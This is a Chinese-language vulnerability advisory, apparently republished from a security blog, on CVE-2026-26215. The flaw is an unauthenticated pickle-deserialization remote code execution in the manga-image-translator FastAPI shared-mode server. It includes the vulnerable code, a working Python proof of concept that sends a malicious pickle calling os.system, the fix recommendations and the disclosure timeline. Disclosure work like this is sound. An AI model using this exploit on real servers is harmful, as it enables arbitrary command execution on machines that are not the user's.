CVE-2026-26215–manga-image-translator中的未经身份验证的远程代码执行漏洞

admin 2026-02-17 19:59:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档披露开源工具manga-image-translator存在严重RCE漏洞CVE-2026-26215。因nonce默认值为空导致认证机制失效,攻击者可利用pickle反序列化绕过认证执行任意代码。文章详述漏洞原理、复现过程及修复建议,指出默认禁用的安全机制带来虚假安全感,并批评项目维护方此前忽视腾讯云鼎实验室的同类报告。 综合评分: 88 文章分类: 漏洞分析,代码审计,漏洞POC,AI安全


cover_image

CVE-2026-26215 – manga-image-translator 中的未经身份验证的远程代码执行漏洞

Ots安全

2026年2月12日 12:39 广东

威胁简报

恶意软件

漏洞攻击

介绍

在对 GitHub 上流行的 ML/AI 项目中的 pickle 反序列化模式进行审计时,我发现manga-image-translator中存在一个严重漏洞,这是一个广泛使用的开源漫画翻译工具,拥有 9,369 个星标。

两个 FastAPI 端点pickle.loads()直接调用 HTTP 请求体。它们本应受到基于 nonce 的身份验证机制保护,但该机制的默认值为空字符串(在 Python 中为 falsy),因此检查永远不会执行。结果是,在所有标准部署中都存在未经身份验证的远程代码执行 (RCE) 漏洞。

目标: zyddnys/manga-image-translator 星级: 9,369 严重程度:危急(CVSS 3.1:9.8)

什么是manga-image-translator?

manga-image-translator 是一款自动化工具,可以检测、识别和翻译漫画/连环画图像中的文本。它支持多种语言和翻译后端(GPT-4、DeepL、Google 等),可以作为 Web 服务器、命令行工具或浏览器扩展程序运行。

快速浏览一下该项目的问题跟踪器,就会发现用户正在询问如何在exhentai.org 链接上使用它。至于凌晨 3 点有超过 9300 个星标的用户在翻译什么,就留给你们自己去思考吧。

该项目有一种shared模式,其中 FastAPI 服务器处理翻译请求。此模式由 Web 服务器内部使用,server/main.py它会生成一个FastAPI 服务器MangaShare实例作为子进程,并通过 HTTP 协议与服务器通信,传输 pickle 序列化的有效负载。

漏洞

模式shared服务器manga_translator/mode/share.py公开了两个 POST 端点,它们从网络接收原始字节并将其直接传递给pickle.loads()。

端点 1 -/simple_execute/{method_name}位于第 112 行:

@app.post("/simple_execute/{method_name}")
async defexecute_method(request: Request, method_name: str = Path(...)):
    self.check_nonce(request)
    self.check_lock()
    method = self.get_fn(method_name)
    attr = pickle.loads(await request.body()) # RCE here

端点 2 -/execute/{method_name}第130 行:

@app.post("/execute/{method_name}")
async defexecute_method(request: Request, method_name: str = Path(...)):
    self.check_nonce(request)
    self.check_lock()
    method = self.get_fn(method_name)
    attr = pickle.loads(await request.body()) # RCE here

Bypass

有一种check_nonce()方法可以控制访问权限:

defcheck_nonce(self, request: Request):
    ifself.nonce:              # '' is falsy - this entire block is skipped
        nonce = request.headers.get('X-Nonce')
        if nonce != self.nonce:
            raise HTTPException(401, detail="Nonce does not match")

问题在于所有参数解析器中 nonce 的默认值都是空字符串:

# manga_translator/args.py, line144
parser_api.add_argument('--nonce', default=os.getenv('MT_WEB_NONCE', ''), ...)

# server/args.py, line45
parser.add_argument('--nonce', default=os.getenv('MT_WEB_NONCE', ''), ...)

由于”在 Python 中该值为假,因此if self.nonce:其值为false False,整个身份验证检查都会被跳过。该MT_WEB_NONCE环境变量从未在任何 Docker Compose 文件、Makefile 或任何部署文档中设置。所有标准部署均在未进行身份验证的情况下运行。

这是一个隐蔽的漏洞,因为它看起来像是启用了身份验证。代码审查人员看到check_nonce(request)调用该函数后,会误以为该端点受到保护。但实际上,你必须追踪参数的默认值,才能发现这个保护机制是无效代码。

概念验证

设置目标

我用从代码库克隆的真实漫画图像翻译器代码库进行了测试:

git clone https://github.com/zyddnys/manga-image-translator.git
cd manga-image-translator
pip install -r requirements.txt
python -m manga_translator shared --host 0.0.0.0 --port 5003

无需GPU——此pickle.loads()操作在任何机器学习推理之前执行。服务器启动于http://0.0.0.0:5003。

漏洞

import pickle, os, requests

classRCE:
    def__init__(self, cmd):
        self.cmd = cmd
    def__reduce__(self):
        return (os.system, (self.cmd,))

# No X-Nonce header needed - auth is bypassed
requests.post(
    'http://target:5003/simple_execute/translate',
    data=pickle.dumps(RCE('id > /tmp/manga_pwned')),
    headers={'Content-Type': 'application/octet-stream'},
)

结果

$ cat /tmp/manga_pwned
uid=1000(chocapikk) gid=1001(chocapikk) groups=1001(chocapikk),4(adm),24(cdrom),27(sudo),...

两者/simple_execute/translate都可/execute/translate被利用。服务器返回 HTTP 500(反序列化int的os.system()不是有效的 kwargs 字典),但该命令已在执行期间执行pickle.loads()。

事先披露

我并非第一个发现这个问题的人。腾讯云顶安全实验室的sud0why提交了编号为 #946 的问题,报告了完全相同的 pickle 反序列化远程代码执行漏洞。该项目组六个月无人回应,之后该问题被系统自动关闭。更早的#509和#516问题也提出了安全改进建议,但均未得到解决便被关闭。

尽管腾讯报告了该漏洞,但此前一直没有分配 CVE 编号——直到现在:CVE-2026-26215。

攻击面

shared在所有标准配置中,模式服务器都会绑定到该服务器0.0.0.0:5003。Web 服务器(server/main.py)会在内部端口 5004 上启动它。网络上的任何人都可以访问这两个服务器。

该项目拥有庞大的安装基础——9369 个 star,22925 次 Docker Hub 拉取,以及一个拥有 3300 多名成员的 Discord 社区。

建议的修复方案

修复 nonce 默认值。将默认值从”更改为None,在 时自动生成随机 nonce None,并要求–nonce=disable明确不想进行身份验证的用户启用该功能。这样,不安全的配置就成为一种有意为之的选择,而不是默认设置。

请替换pickle.loads()为 JSON 或 MessagePack。序列化数据只是方法参数,没有必要使用 pickle。

将共享工作进程限制在本地主机上。server/main.py工作进程与主机之间的进程间通信shared不应暴露在外部。

时间线

  • 2025年5月:腾讯云鼎安全实验室(sud0why )在问题 #946中报告了相同的漏洞——未收到回复,该问题在6个月后被机器人自动关闭。
  • 2026-02-11:通过针对真实服务器的 PoC 独立发现并确认了漏洞
  • 2026年2月11日:已向VulnCheck提交CVE请求
  • 2026-02-11: VulnCheck分配了CVE-2026-26215 漏洞。
  • 2026年2月11日: 公开披露并附带补丁

要点总结

这个漏洞之所以特别突出,是因为它给人一种虚假的安全感。代码中确实存在 nonce 机制,代码审查人员会看到check_nonce(request)它的调用,然后就会忽略它。但你必须仔细查看参数默认值,才能意识到这个安全机制默认情况下是无效的。默认禁用的安全功能比没有安全功能更糟糕——它们会给人一种虚假的安全感。

腾讯的报告被自动关闭也说明了一些问题。sud0why在 2025 年 5 月提交了一份清晰、证据充分的远程代码执行 (RCE) 报告。六个月无人回应,然后机器人自动将其关闭。机器人无法区分“问题已解决”和“根本没人关心”。

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《CVE-2026-26215 – manga-image-translator 中的未经身份验证的远程代码执行漏洞》

评论:0   参与:  0